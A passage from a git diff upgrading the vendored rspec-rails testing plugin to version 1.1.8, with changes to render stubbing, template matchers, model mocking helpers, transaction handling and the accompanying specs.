+ def render_proxy #:nodoc:
+ @render_proxy ||= Spec::Mocks::Mock.new("render_proxy")
end
end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/example/view_example_group.rb b/vendor/plugins/rspec-rails/lib/spec/rails/example/view_example_group.rb
index e77d2fbd..03ebe4a2 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/example/view_example_group.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/example/view_example_group.rb
@@ -32,7 +32,7 @@ module Spec
ensure_that_base_view_path_is_not_set_across_example_groups
end
- def initialize(defined_description, &implementation) #:nodoc:
+ def initialize(defined_description, options={}, &implementation) #:nodoc:
super
@controller_class_name = "Spec::Rails::Example::ViewExampleGroupController"
end
@@ -150,7 +150,9 @@ module Spec
protected
def _assigns_hash_proxy
- @_assigns_hash_proxy ||= AssignsHashProxy.new @controller
+ @_assigns_hash_proxy ||= AssignsHashProxy.new self do
+ @response.template
+ end
end
end
@@ -172,6 +174,9 @@ module Spec
include helper_module
end
end
+
+ def forget_variables_added_to_assigns
+ end
end
end
end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/extensions/action_view/base.rb b/vendor/plugins/rspec-rails/lib/spec/rails/extensions/action_view/base.rb
index 47c717a9..fef8db3d 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/extensions/action_view/base.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/extensions/action_view/base.rb
@@ -10,15 +10,19 @@ module ActionView #:nodoc:
end
end
end
- super(partial_path, local_assigns, deprecated_local_assigns)
+ begin
+ super(partial_path, local_assigns, deprecated_local_assigns)
+ rescue ArgumentError # edge rails > 2.1 changed render_partial to accept only one arg
+ super(partial_path)
+ end
end
alias_method :orig_render, :render
def render(options = {}, old_local_assigns = {}, &block)
- if expect_render_mock_proxy.send(:__mock_proxy).send(:find_matching_expectation, :render, options)
- expect_render_mock_proxy.render(options)
+ if render_proxy.send(:__mock_proxy).send(:find_matching_expectation, :render, options)
+ render_proxy.render(options)
else
- unless expect_render_mock_proxy.send(:__mock_proxy).send(:find_matching_method_stub, :render, options)
+ unless render_proxy.send(:__mock_proxy).send(:find_matching_method_stub, :render, options)
orig_render(options, old_local_assigns, &block)
end
end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/interop/testcase.rb b/vendor/plugins/rspec-rails/lib/spec/rails/interop/testcase.rb
new file mode 100644
index 00000000..53cb9920
--- /dev/null
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/interop/testcase.rb
@@ -0,0 +1,14 @@
+module Test
+ module Unit
+ class TestCase
+ # Edge rails (r8664) introduces class-wide setup & teardown callbacks for Test::Unit::TestCase.
+ # Make sure these still get run when running TestCases under rspec:
+ prepend_before(:each) do
+ run_callbacks :setup if respond_to?(:run_callbacks)
+ end
+ append_after(:each) do
+ run_callbacks :teardown if respond_to?(:run_callbacks)
+ end
+ end
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/matchers.rb b/vendor/plugins/rspec-rails/lib/spec/rails/matchers.rb
index 6c18b2a9..8e342d11 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/matchers.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/matchers.rb
@@ -1,5 +1,6 @@
dir = File.dirname(__FILE__)
require 'spec/rails/matchers/assert_select'
+require 'spec/rails/matchers/change'
require 'spec/rails/matchers/have_text'
require 'spec/rails/matchers/include_text'
require 'spec/rails/matchers/redirect_to'
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/matchers/assert_select.rb b/vendor/plugins/rspec-rails/lib/spec/rails/matchers/assert_select.rb
index 1af35118..35718ce4 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/matchers/assert_select.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/matchers/assert_select.rb
@@ -16,6 +16,7 @@ module Spec # :nodoc:
def matches?(response_or_text, &block)
if ActionController::TestResponse === response_or_text and
response_or_text.headers.key?('Content-Type') and
+ !response_or_text.headers['Content-Type'].blank? and
response_or_text.headers['Content-Type'].to_sym == :xml
@args.unshift(HTML::Document.new(response_or_text.body, false, true).root)
elsif String === response_or_text
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/matchers/change.rb b/vendor/plugins/rspec-rails/lib/spec/rails/matchers/change.rb
new file mode 100644
index 00000000..342aee1e
--- /dev/null
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/matchers/change.rb
@@ -0,0 +1,11 @@
+module Spec
+ module Matchers
+ class Change
+ def evaluate_value_proc_with_ensured_evaluation_of_proxy
+ value = evaluate_value_proc_without_ensured_evaluation_of_proxy
+ ActiveRecord::Associations::AssociationProxy === value ? value.dup : value
+ end
+ alias_method_chain :evaluate_value_proc, :ensured_evaluation_of_proxy
+ end
+ end
+end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/matchers/render_template.rb b/vendor/plugins/rspec-rails/lib/spec/rails/matchers/render_template.rb
index e36c8bce..3f562247 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/matchers/render_template.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/matchers/render_template.rb
@@ -10,10 +10,18 @@ module Spec
end
def matches?(response)
- @actual = response.rendered_file
- full_path(@actual) == full_path(@expected)
+
+ if response.respond_to?(:rendered_file)
+ @actual = response.rendered_file
+ else
+ @actual = response.rendered_template.to_s
+ end
+ return false if @actual.blank?
+ given_controller_path, given_file = path_and_file(@actual)
+ expected_controller_path, expected_file = path_and_file(@expected)
+ given_controller_path == expected_controller_path && given_file.match(expected_file)
end
-
+
def failure_message
"expected #{@expected.inspect}, got #{@actual.inspect}"
end
@@ -27,9 +35,21 @@ module Spec
end
private
- def full_path(path)
- return nil if path.nil?
- path.include?('/') ? path : "#{@controller.class.to_s.underscore.gsub('_controller','')}/#{path}"
+ def path_and_file(path)
+ parts = path.split('/')
+ file = parts.pop
+ controller = parts.empty? ? current_controller_path : parts.join('/')
+ return controller, file
+ end
+
+ def controller_path_from(path)
+ parts = path.split('/')
+ parts.pop
+ parts.join('/')
+ end
+
+ def current_controller_path
+ @controller.class.to_s.underscore.gsub(/_controller$/,'')
end
end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/mocks.rb b/vendor/plugins/rspec-rails/lib/spec/rails/mocks.rb
index 740ecf3d..e8a7fca3 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/mocks.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/mocks.rb
@@ -9,15 +9,21 @@ module Spec
# methods stubbed out. Additional methods may be easily stubbed (via
# add_stubs) if +stubs+ is passed.
def mock_model(model_class, options_and_stubs = {})
- id = next_id
- options_and_stubs.reverse_merge!({
+ id = options_and_stubs[:id] || next_id
+ options_and_stubs = options_and_stubs.reverse_merge({
:id => id,
:to_param => id.to_s,
:new_record? => false,
:errors => stub("errors", :count => 0)
})
- m = mock("#{model_class.name}_#{options_and_stubs[:id]}", options_and_stubs)
+ m = mock("#{model_class.name}_#{id}", options_and_stubs)
m.send(:__mock_proxy).instance_eval <<-CODE
+ def @target.as_new_record
+ self.stub!(:id).and_return nil
+ self.stub!(:to_param).and_return nil
+ self.stub!(:new_record?).and_return true
+ self
+ end
def @target.is_a?(other)
#{model_class}.ancestors.include?(other)
end
@@ -52,24 +58,33 @@ module Spec
# stub_model(Model)
# stub_model(Model).as_new_record
# stub_model(Model, hash_of_stubs)
+ # stub_model(Model, instance_variable_name, hash_of_stubs)
#
# Creates an instance of +Model+ that is prohibited from accessing the
- # database. For each key in +hash_of_stubs+, if the model has a
- # matching attribute (determined by asking it, which it answers based
- # on schema.rb) are simply assigned the submitted values. If the model
- # does not have a matching attribute, the key/value pair is assigned
- # as a stub return value using RSpec's mocking/stubbing framework.
+ # database*. For each key in +hash_of_stubs+, if the model has a
+ # matching attribute (determined by asking it) are simply assigned the
+ # submitted values. If the model does not have a matching attribute, the
+ # key/value pair is assigned as a stub return value using RSpec's
+ # mocking/stubbing framework.
#
- # new_record? is overridden to return the result of id.nil? This means
- # that by default new_record? will return false. If you want the
- # object to behave as a new record, sending it +as_new_record+ will
+ # new_record? is overridden to return the result of id.nil?
+ # This means that by default new_record? will return false. If you want
+ # the object to behave as a new record, sending it +as_new_record+ will
# set the id to nil. You can also explicitly set :id => nil, in which
- # case new_record? will return true, but using +as_new_record+ makes
- # the example a bit more descriptive.
+ # case new_record? will return true, but using +as_new_record+ makes the
+ # example a bit more descriptive.
#
- # While you can use stub_model in any example (model, view,
- # controller, helper), it is especially useful in view examples,
- # which are inherently more state-based than interaction-based.
+ # While you can use stub_model in any example (model, view, controller,
+ # helper), it is especially useful in view examples, which are
+ # inherently more state-based than interaction-based.
+ #
+ # == Database Independence
+ #
+ # +stub_model+ does not make your examples entirely
+ # database-independent. It does not stop the model class itself from
+ # loading up its columns from the database. It just prevents data access
+ # from the object itself. To completely decouple from the database, take
+ # a look at libraries like unit_record or NullDB.
#
# == Examples
#
@@ -77,9 +92,9 @@ module Spec
# stub_model(Person).as_new_record
# stub_model(Person, :id => 37)
# stub_model(Person) do |person|
- # model.first_name = "David"
+ # person.first_name = "David"
# end
- def stub_model(model_class, stubs = {})
+ def stub_model(model_class, stubs={})
stubs = {:id => next_id}.merge(stubs)
returning model_class.new do |model|
model.id = stubs.delete(:id)
@@ -99,7 +114,7 @@ module Spec
# - object.stub!(:method => return_value, :method2 => return_value2, :etc => etc)
#++
# Stubs methods on +object+ (if +object+ is a symbol or string a new mock
- # with that name will be created). +stubs+ is a Hash of method=>value
+ # with that name will be created). +stubs+ is a Hash of +method=>value+
def add_stubs(object, stubs = {}) #:nodoc:
m = [String, Symbol].index(object.class) ? mock(object.to_s) : object
stubs.each {|k,v| m.stub!(k).and_return(v)}
@@ -114,4 +129,4 @@ module Spec
end
end
-end
\ No newline at end of file
+end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/story_adapter.rb b/vendor/plugins/rspec-rails/lib/spec/rails/story_adapter.rb
index 66124afe..ae5fca90 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/story_adapter.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/story_adapter.rb
@@ -40,15 +40,23 @@ class ActiveRecordSafetyListener
include Singleton
def scenario_started(*args)
if defined?(ActiveRecord::Base)
- ActiveRecord::Base.send :increment_open_transactions unless Rails::VERSION::STRING == "1.1.6"
- ActiveRecord::Base.connection.begin_db_transaction
+ if ActiveRecord::Base.connection.respond_to?(:increment_open_transactions)
+ ActiveRecord::Base.connection.increment_open_transactions
+ else
+ ActiveRecord::Base.send :increment_open_transactions
+ end
end
+ ActiveRecord::Base.connection.begin_db_transaction
end
def scenario_succeeded(*args)
if defined?(ActiveRecord::Base)
ActiveRecord::Base.connection.rollback_db_transaction
- ActiveRecord::Base.send :decrement_open_transactions unless Rails::VERSION::STRING == "1.1.6"
+ if ActiveRecord::Base.connection.respond_to?(:decrement_open_transactions)
+ ActiveRecord::Base.connection.decrement_open_transactions
+ else
+ ActiveRecord::Base.send :decrement_open_transactions
+ end
end
end
alias :scenario_pending :scenario_succeeded
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/version.rb b/vendor/plugins/rspec-rails/lib/spec/rails/version.rb
index 50962c9d..fb7037b2 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/version.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/version.rb
@@ -1,23 +1,15 @@
module Spec
module Rails
module VERSION #:nodoc:
- BUILD_TIME_UTC = 20080615141040
+ unless defined? MAJOR
+ MAJOR = 1
+ MINOR = 1
+ TINY = 8
+
+ STRING = [MAJOR, MINOR, TINY].join('.')
+
+ SUMMARY = "rspec-rails #{STRING}"
+ end
end
end
-end
-
-# Verify that the plugin has the same revision as RSpec
-if Spec::Rails::VERSION::BUILD_TIME_UTC != Spec::VERSION::BUILD_TIME_UTC
- raise <<-EOF
-
-############################################################################
-Your RSpec on Rails plugin is incompatible with your installed RSpec.
-
-RSpec : #{Spec::VERSION::BUILD_TIME_UTC}
-RSpec on Rails : #{Spec::Rails::VERSION::BUILD_TIME_UTC}
-
-Make sure your RSpec on Rails plugin is compatible with your RSpec gem.
-See http://rspec.rubyforge.org/documentation/rails/install.html for details.
-############################################################################
-EOF
-end
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/rspec-rails.gemspec b/vendor/plugins/rspec-rails/rspec-rails.gemspec
new file mode 100644
index 00000000..67ff738f
--- /dev/null
+++ b/vendor/plugins/rspec-rails/rspec-rails.gemspec
@@ -0,0 +1,35 @@
+Gem::Specification.new do |s|
+ s.name = %q{rspec-rails}
+ s.version = "1.1.8"
+
+ s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+ s.authors = ["RSpec Development Team"]
+ s.date = %q{2008-10-03}
+ s.description = %q{Behaviour Driven Development for Ruby on Rails.}
+ s.email = ["rspec-devel@rubyforge.org"]
+ s.extra_rdoc_files = ["History.txt", "Manifest.txt", "README.txt", "generators/rspec/templates/previous_failures.txt"]
+ s.files = ["History.txt", "Manifest.txt", "README.txt", "Rakefile", "UPGRADE", "generators/rspec/CHANGES", "generators/rspec/rspec_generator.rb", "generators/rspec/templates/all_stories.rb", "generators/rspec/templates/previous_failures.txt", "generators/rspec/templates/rcov.opts", "generators/rspec/templates/rspec.rake", "generators/rspec/templates/script/autospec", "generators/rspec/templates/script/spec", "generators/rspec/templates/script/spec_server", "generators/rspec/templates/spec.opts", "generators/rspec/templates/spec_helper.rb", "generators/rspec/templates/stories_helper.rb", "generators/rspec_controller/USAGE", "generators/rspec_controller/rspec_controller_generator.rb", "generators/rspec_controller/templates/controller_spec.rb", "generators/rspec_controller/templates/helper_spec.rb", "generators/rspec_controller/templates/view_spec.rb", "generators/rspec_default_values.rb", "generators/rspec_model/USAGE", "generators/rspec_model/rspec_model_generator.rb", "generators/rspec_model/templates/model_spec.rb", "generators/rspec_scaffold/rspec_scaffold_generator.rb", "generators/rspec_scaffold/templates/controller_spec.rb", "generators/rspec_scaffold/templates/edit_erb_spec.rb", "generators/rspec_scaffold/templates/helper_spec.rb", "generators/rspec_scaffold/templates/index_erb_spec.rb", "generators/rspec_scaffold/templates/new_erb_spec.rb", "generators/rspec_scaffold/templates/routing_spec.rb", "generators/rspec_scaffold/templates/show_erb_spec.rb", "init.rb", "lib/autotest/discover.rb", "lib/autotest/rails_rspec.rb", "lib/spec/rails.rb", "lib/spec/rails/example.rb", "lib/spec/rails/example/assigns_hash_proxy.rb", "lib/spec/rails/example/controller_example_group.rb", "lib/spec/rails/example/cookies_proxy.rb", "lib/spec/rails/example/functional_example_group.rb", "lib/spec/rails/example/helper_example_group.rb", "lib/spec/rails/example/model_example_group.rb", "lib/spec/rails/example/rails_example_group.rb", "lib/spec/rails/example/render_observer.rb", "lib/spec/rails/example/view_example_group.rb", "lib/spec/rails/extensions.rb", "lib/spec/rails/extensions/action_controller/base.rb", "lib/spec/rails/extensions/action_controller/rescue.rb", "lib/spec/rails/extensions/action_controller/test_response.rb", "lib/spec/rails/extensions/action_view/base.rb", "lib/spec/rails/extensions/active_record/base.rb", "lib/spec/rails/extensions/object.rb", "lib/spec/rails/extensions/spec/example/configuration.rb", "lib/spec/rails/extensions/spec/matchers/have.rb", "lib/spec/rails/interop/testcase.rb", "lib/spec/rails/matchers.rb", "lib/spec/rails/matchers/assert_select.rb", "lib/spec/rails/matchers/change.rb", "lib/spec/rails/matchers/have_text.rb", "lib/spec/rails/matchers/include_text.rb", "lib/spec/rails/matchers/redirect_to.rb", "lib/spec/rails/matchers/render_template.rb", "lib/spec/rails/mocks.rb", "lib/spec/rails/story_adapter.rb", "lib/spec/rails/version.rb", "spec/rails/autotest/mappings_spec.rb", "spec/rails/example/assigns_hash_proxy_spec.rb", "spec/rails/example/configuration_spec.rb", "spec/rails/example/controller_isolation_spec.rb", "spec/rails/example/controller_spec_spec.rb", "spec/rails/example/cookies_proxy_spec.rb", "spec/rails/example/example_group_factory_spec.rb", "spec/rails/example/helper_spec_spec.rb", "spec/rails/example/model_spec_spec.rb", "spec/rails/example/shared_behaviour_spec.rb", "spec/rails/example/test_unit_assertion_accessibility_spec.rb", "spec/rails/example/view_spec_spec.rb", "spec/rails/extensions/action_controller_rescue_action_spec.rb", "spec/rails/extensions/action_view_base_spec.rb", "spec/rails/extensions/active_record_spec.rb", "spec/rails/interop/testcase_spec.rb", "spec/rails/matchers/assert_select_spec.rb", "spec/rails/matchers/description_generation_spec.rb", "spec/rails/matchers/errors_on_spec.rb", "spec/rails/matchers/have_text_spec.rb", "spec/rails/matchers/include_text_spec.rb", "spec/rails/matchers/redirect_to_spec.rb", "spec/rails/matchers/render_template_spec.rb", "spec/rails/matchers/should_change_spec.rb", "spec/rails/mocks/ar_classes.rb", "spec/rails/mocks/mock_model_spec.rb", "spec/rails/mocks/stub_model_spec.rb", "spec/rails/sample_modified_fixture.rb", "spec/rails/sample_spec.rb", "spec/rails/spec_server_spec.rb", "spec/rails/spec_spec.rb", "spec/rails_suite.rb", "spec/spec_helper.rb", "spec_resources/controllers/action_view_base_spec_controller.rb", "spec_resources/controllers/controller_spec_controller.rb", "spec_resources/controllers/redirect_spec_controller.rb", "spec_resources/controllers/render_spec_controller.rb", "spec_resources/controllers/rjs_spec_controller.rb", "spec_resources/helpers/explicit_helper.rb", "spec_resources/helpers/more_explicit_helper.rb", "spec_resources/helpers/plugin_application_helper.rb", "spec_resources/helpers/view_spec_helper.rb", "spec_resources/views/controller_spec/_partial.rhtml", "spec_resources/views/controller_spec/action_setting_flash_after_session_reset.rhtml", "spec_resources/views/controller_spec/action_setting_flash_before_session_reset.rhtml", "spec_resources/views/controller_spec/action_setting_the_assigns_hash.rhtml", "spec_resources/views/controller_spec/action_with_errors_in_template.rhtml", "spec_resources/views/controller_spec/action_with_template.rhtml", "spec_resources/views/layouts/application.rhtml", "spec_resources/views/layouts/simple.rhtml", "spec_resources/views/objects/_object.html.erb", "spec_resources/views/render_spec/_a_partial.rhtml", "spec_resources/views/render_spec/action_with_alternate_layout.rhtml", "spec_resources/views/render_spec/some_action.js.rjs", "spec_resources/views/render_spec/some_action.rhtml", "spec_resources/views/render_spec/some_action.rjs", "spec_resources/views/rjs_spec/_replacement_partial.rhtml", "spec_resources/views/rjs_spec/hide_div.rjs", "spec_resources/views/rjs_spec/hide_page_element.rjs", "spec_resources/views/rjs_spec/insert_html.rjs", "spec_resources/views/rjs_spec/replace.rjs", "spec_resources/views/rjs_spec/replace_html.rjs", "spec_resources/views/rjs_spec/replace_html_with_partial.rjs", "spec_resources/views/rjs_spec/visual_effect.rjs", "spec_resources/views/rjs_spec/visual_toggle_effect.rjs", "spec_resources/views/tag_spec/no_tags.rhtml", "spec_resources/views/tag_spec/single_div_with_no_attributes.rhtml", "spec_resources/views/tag_spec/single_div_with_one_attribute.rhtml", "spec_resources/views/view_spec/_partial.rhtml", "spec_resources/views/view_spec/_partial_used_twice.rhtml", "spec_resources/views/view_spec/_partial_with_local_variable.rhtml", "spec_resources/views/view_spec/_partial_with_sub_partial.rhtml", "spec_resources/views/view_spec/_spacer.rhtml", "spec_resources/views/view_spec/accessor.rhtml", "spec_resources/views/view_spec/block_helper.rhtml", "spec_resources/views/view_spec/entry_form.rhtml", "spec_resources/views/view_spec/explicit_helper.rhtml", "spec_resources/views/view_spec/foo/show.rhtml", "spec_resources/views/view_spec/implicit_helper.rhtml", "spec_resources/views/view_spec/multiple_helpers.rhtml", "spec_resources/views/view_spec/should_not_receive.rhtml", "spec_resources/views/view_spec/template_with_partial.rhtml", "spec_resources/views/view_spec/template_with_partial_using_collection.rhtml", "spec_resources/views/view_spec/template_with_partial_with_array.rhtml", "stories/all.rb", "stories/configuration/stories.rb", "stories/helper.rb", "stories/steps/people.rb", "stories/transactions_should_rollback", "stories/transactions_should_rollback.rb"]
+ s.has_rdoc = true
+ s.homepage = %q{http://rspec.info/}
+ s.rdoc_options = ["--main", "README.txt"]
+ s.require_paths = ["lib"]
+ s.rubyforge_project = %q{rspec}
+ s.rubygems_version = %q{1.3.0}
+ s.summary = %q{rspec-rails 1.1.8}
+
+ if s.respond_to? :specification_version then
+ current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+ s.specification_version = 2
+
+ if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+ s.add_runtime_dependency(%q, ["= 1.1.8"])
+ s.add_development_dependency(%q, [">= 1.7.0"])
+ else
+ s.add_dependency(%q, ["= 1.1.8"])
+ s.add_dependency(%q, [">= 1.7.0"])
+ end
+ else
+ s.add_dependency(%q, ["= 1.1.8"])
+ s.add_dependency(%q, [">= 1.7.0"])
+ end
+end
diff --git a/vendor/plugins/rspec-rails/spec/rails/autotest/mappings_spec.rb b/vendor/plugins/rspec-rails/spec/rails/autotest/mappings_spec.rb
index 3ebf8909..7a05cf21 100644
--- a/vendor/plugins/rspec-rails/spec/rails/autotest/mappings_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/autotest/mappings_spec.rb
@@ -1,6 +1,6 @@
require File.dirname(__FILE__) + '/../../spec_helper'
require File.join(File.dirname(__FILE__), *%w[.. .. .. lib autotest rails_rspec])
-require File.join(File.dirname(__FILE__), *%w[.. .. .. .. rspec spec autotest_matchers])
+require File.join(File.dirname(__FILE__), *%w[.. .. .. .. rspec spec autotest autotest_matchers])
describe Autotest::RailsRspec, "file mapping" do
before(:each) do
diff --git a/vendor/plugins/rspec-rails/spec/rails/autotest/rails_rspec_spec.rb b/vendor/plugins/rspec-rails/spec/rails/autotest/rails_rspec_spec.rb
deleted file mode 100644
index 148e0056..00000000
--- a/vendor/plugins/rspec-rails/spec/rails/autotest/rails_rspec_spec.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require File.dirname(__FILE__) + '/../../spec_helper'
-require File.join(File.dirname(__FILE__), "..", "..", "..", "lib", "autotest", "rails_rspec")
-
-describe Autotest::RailsRspec do
- it "should provide the correct spec_command" do
- Autotest::RailsRspec.new.spec_command.should == "script/spec"
- end
-end
diff --git a/vendor/plugins/rspec-rails/spec/rails/example/assigns_hash_proxy_spec.rb b/vendor/plugins/rspec-rails/spec/rails/example/assigns_hash_proxy_spec.rb
index eab67f69..d53657ed 100644
--- a/vendor/plugins/rspec-rails/spec/rails/example/assigns_hash_proxy_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/example/assigns_hash_proxy_spec.rb
@@ -1,31 +1,51 @@
require File.dirname(__FILE__) + '/../../spec_helper'
describe "AssignsHashProxy" do
- before(:each) do
- @object = Object.new
- @assigns = Hash.new
- @object.stub!(:assigns).and_return(@assigns)
- @proxy = Spec::Rails::Example::AssignsHashProxy.new(@object)
+ def orig_assigns
+ @object.assigns
end
-
- it "has [] accessor" do
+
+ before(:each) do
+ @object = Class.new do
+ attr_accessor :assigns
+ end.new
+ @object.assigns = Hash.new
+ @proxy = Spec::Rails::Example::AssignsHashProxy.new self do
+ @object
+ end
+ end
+
+ it "should set ivars on object using string" do
@proxy['foo'] = 'bar'
- @assigns['foo'].should == 'bar'
+ @object.instance_eval{@foo}.should == 'bar'
+ end
+
+ it "should set ivars on object using symbol" do
+ @proxy[:foo] = 'bar'
+ @object.instance_eval{@foo}.should == 'bar'
+ end
+
+ it "should access object's assigns with a string" do
+ @object.assigns['foo'] = 'bar'
@proxy['foo'].should == 'bar'
end
-
- it "works for symbol key" do
- @assigns[:foo] = 2
- @proxy[:foo].should == 2
+
+ it "should access object's assigns with a symbol" do
+ @object.assigns['foo'] = 'bar'
+ @proxy[:foo].should == 'bar'
end
- it "checks for string key before symbol key" do
- @assigns['foo'] = false
- @assigns[:foo] = 2
- @proxy[:foo].should == false
+ it "should access object's ivars with a string" do
+ @object.instance_variable_set('@foo', 'bar')
+ @proxy['foo'].should == 'bar'
+ end
+
+ it "should access object's ivars with a symbol" do
+ @object.instance_variable_set('@foo', 'bar')
+ @proxy[:foo].should == 'bar'
end
- it "each method iterates through each element like a Hash" do
+ it "should iterate through each element like a Hash" do
values = {
'foo' => 1,
'bar' => 2,
@@ -34,27 +54,43 @@ describe "AssignsHashProxy" do
@proxy['foo'] = values['foo']
@proxy['bar'] = values['bar']
@proxy['baz'] = values['baz']
-
+
@proxy.each do |key, value|
key.should == key
value.should == values[key]
end
end
-
- it "delete method deletes the element of passed in key" do
- @proxy['foo'] = 'bar'
- @proxy.delete('foo').should == 'bar'
+
+ it "should delete the ivar of passed in key" do
+ @object.instance_variable_set('@foo', 'bar')
+ @proxy.delete('foo')
@proxy['foo'].should be_nil
end
-
- it "has_key? detects the presence of a key" do
- @proxy['foo'] = 'bar'
+
+ it "should delete the assigned element of passed in key" do
+ @object.assigns['foo'] = 'bar'
+ @proxy.delete('foo')
+ @proxy['foo'].should be_nil
+ end
+
+ it "should detect the presence of a key in assigns" do
+ @object.assigns['foo'] = 'bar'
@proxy.has_key?('foo').should == true
@proxy.has_key?('bar').should == false
end
- it "should sets an instance var" do
- @proxy['foo'] = 'bar'
- @object.instance_eval { @foo }.should == 'bar'
+ it "should expose values set in example back to the example" do
+ @proxy[:foo] = 'bar'
+ @proxy[:foo].should == 'bar'
+ end
+
+ it "should allow assignment of false via proxy" do
+ @proxy['foo'] = false
+ @proxy['foo'].should be_false
+ end
+
+ it "should allow assignment of false" do
+ @object.instance_variable_set('@foo',false)
+ @proxy['foo'].should be_false
end
end
diff --git a/vendor/plugins/rspec-rails/spec/rails/example/controller_spec_spec.rb b/vendor/plugins/rspec-rails/spec/rails/example/controller_spec_spec.rb
index afbb69f7..18cc0d31 100644
--- a/vendor/plugins/rspec-rails/spec/rails/example/controller_spec_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/example/controller_spec_spec.rb
@@ -5,7 +5,9 @@ require 'controller_spec_controller'
describe "A controller example running in #{mode} mode", :type => :controller do
controller_name :controller_spec
integrate_views if mode == 'integration'
-
+
+ specify "this example should be pending, not an error"
+
it "should provide controller.session as session" do
get 'action_with_template'
session.should equal(controller.session)
@@ -38,24 +40,24 @@ require 'controller_spec_controller'
response.should render_template("_partial")
end
- it "should allow specifying a partial with expect_render" do
- controller.expect_render(:partial => "controller_spec/partial")
+ it "should allow specifying a partial with should_receive(:render)" do
+ controller.should_receive(:render).with(:partial => "controller_spec/partial")
get 'action_with_partial'
end
- it "should allow specifying a partial with expect_render with object" do
- controller.expect_render(:partial => "controller_spec/partial", :object => "something")
+ it "should allow specifying a partial with should_receive(:render) with object" do
+ controller.should_receive(:render).with(:partial => "controller_spec/partial", :object => "something")
get 'action_with_partial_with_object', :thing => "something"
end
- it "should allow specifying a partial with expect_render with locals" do
- controller.expect_render(:partial => "controller_spec/partial", :locals => {:thing => "something"})
+ it "should allow specifying a partial with should_receive(:render) with locals" do
+ controller.should_receive(:render).with(:partial => "controller_spec/partial", :locals => {:thing => "something"})
get 'action_with_partial_with_locals', :thing => "something"
end
it "should yield to render :update" do
template = stub("template")
- controller.expect_render(:update).and_yield(template)
+ controller.should_receive(:render).with(:update).and_yield(template)
template.should_receive(:replace).with(:bottom, "replace_me", :partial => "non_existent_partial")
get 'action_with_render_update'
end
@@ -87,6 +89,71 @@ require 'controller_spec_controller'
end.should_not raise_error
end
+ describe "handling should_receive(:render)" do
+ it "should warn" do
+ controller.should_receive(:render).with(:template => "controller_spec/action_with_template")
+ get :action_with_template
+ end
+ end
+
+ describe "handling should_not_receive(:render)" do
+ it "should warn" do
+ controller.should_not_receive(:render).with(:template => "the/wrong/template")
+ get :action_with_template
+ end
+ end
+
+ describe "handling deprecated expect_render" do
+ it "should warn" do
+ Kernel.should_receive(:warn).with(/expect_render is deprecated/)
+ controller.expect_render(:template => "controller_spec/action_with_template")
+ get :action_with_template
+ end
+ end
+
+ describe "handling deprecated stub_render" do
+ it "should warn" do
+ Kernel.should_receive(:warn).with(/stub_render is deprecated/)
+ controller.stub_render(:template => "controller_spec/action_with_template")
+ get :action_with_template
+ end
+ end
+
+ describe "setting cookies in the request" do
+
+ it "should support a String key" do
+ cookies['cookie_key'] = 'cookie value'
+ get 'action_which_gets_cookie', :expected => "cookie value"
+ end
+
+ it "should support a Symbol key" do
+ cookies[:cookie_key] = 'cookie value'
+ get 'action_which_gets_cookie', :expected => "cookie value"
+ end
+
+ if Rails::VERSION::STRING >= "2.0.0"
+ it "should support a Hash value" do
+ cookies[:cookie_key] = {'value' => 'cookie value', 'path' => '/not/default'}
+ get 'action_which_gets_cookie', :expected => {'value' => 'cookie value', 'path' => '/not/default'}
+ end
+ end
+
+ end
+
+ describe "reading cookies from the response" do
+
+ it "should support a Symbol key" do
+ get 'action_which_sets_cookie', :value => "cookie value"
+ cookies[:cookie_key].value.should == ["cookie value"]
+ end
+
+ it "should support a String key" do
+ get 'action_which_sets_cookie', :value => "cookie value"
+ cookies['cookie_key'].value.should == ["cookie value"]
+ end
+
+ end
+
it "should support custom routes" do
route_for(:controller => "custom_route_spec", :action => "custom_route").should == "/custom_route"
end
@@ -108,22 +175,9 @@ require 'controller_spec_controller'
assigns[:indirect_assigns_key].should == :indirect_assigns_key_value
end
- it "should expose the assigns hash directly" do
- get 'action_setting_the_assigns_hash'
- assigns[:direct_assigns_key].should == :direct_assigns_key_value
- end
-
- it "should complain when calling should_receive(:render) on the controller" do
- lambda {
- controller.should_receive(:render)
- }.should raise_error(RuntimeError, /should_receive\(:render\) has been disabled/)
- end
-
- it "should complain when calling stub!(:render) on the controller" do
- controller.extend Spec::Mocks::Methods
- lambda {
- controller.stub!(:render)
- }.should raise_error(RuntimeError, /stub!\(:render\) has been disabled/)
+ it "should expose instance vars through the assigns hash that are set to false" do
+ get 'action_that_assigns_false_to_a_variable'
